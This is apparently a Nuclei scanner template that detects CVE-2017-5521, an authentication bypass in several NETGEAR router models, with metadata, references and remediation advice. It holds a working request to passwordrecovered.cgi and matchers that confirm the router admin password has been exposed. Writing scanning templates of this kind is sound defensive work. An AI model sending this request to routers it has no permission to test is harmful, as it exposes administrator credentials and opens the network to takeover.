50 lines
2.0 KiB
YAML
50 lines
2.0 KiB
YAML
id: CVE-2017-5521
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info:
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name: NETGEAR Routers - Authentication Bypass
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author: princechaddha
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severity: high
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description: |
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NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server.
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impact: |
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Successful exploitation of this vulnerability can lead to unauthorized configuration changes, network compromise, and potential exposure of sensitive information.
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remediation: |
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Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
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reference:
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- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
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- http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability
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- https://nvd.nist.gov/vuln/detail/CVE-2017-5521
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- https://www.exploit-db.com/exploits/41205/
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- https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.1
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cve-id: CVE-2017-5521
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cwe-id: CWE-200
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epss-score: 0.97402
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epss-percentile: 0.99921
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cpe: cpe:2.3:o:netgear:r6200_firmware:1.0.1.56_1.0.43:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: netgear
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product: r6200_firmware
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tags: cve,cve2017,auth-bypass,netgear,router,kev
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http:
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- method: GET
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path:
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- "{{BaseURL}}/passwordrecovered.cgi?id={{rand_base(5)}}"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "right\">Router\\s*Admin\\s*Username<"
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- "right\">Router\\s*Admin\\s*Password<"
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condition: and
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- type: status
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status:
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- 200
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# digest: 490a004630440220475cf79bbd6db0830e43542783b81874242bece61820a7894f583371748f015b02207aa0881723c78483cb50b459bbd5dda2b2da88f94190c04e6c6f5526498b7b3b:922c64590222798bb761d5b6d8e72950 |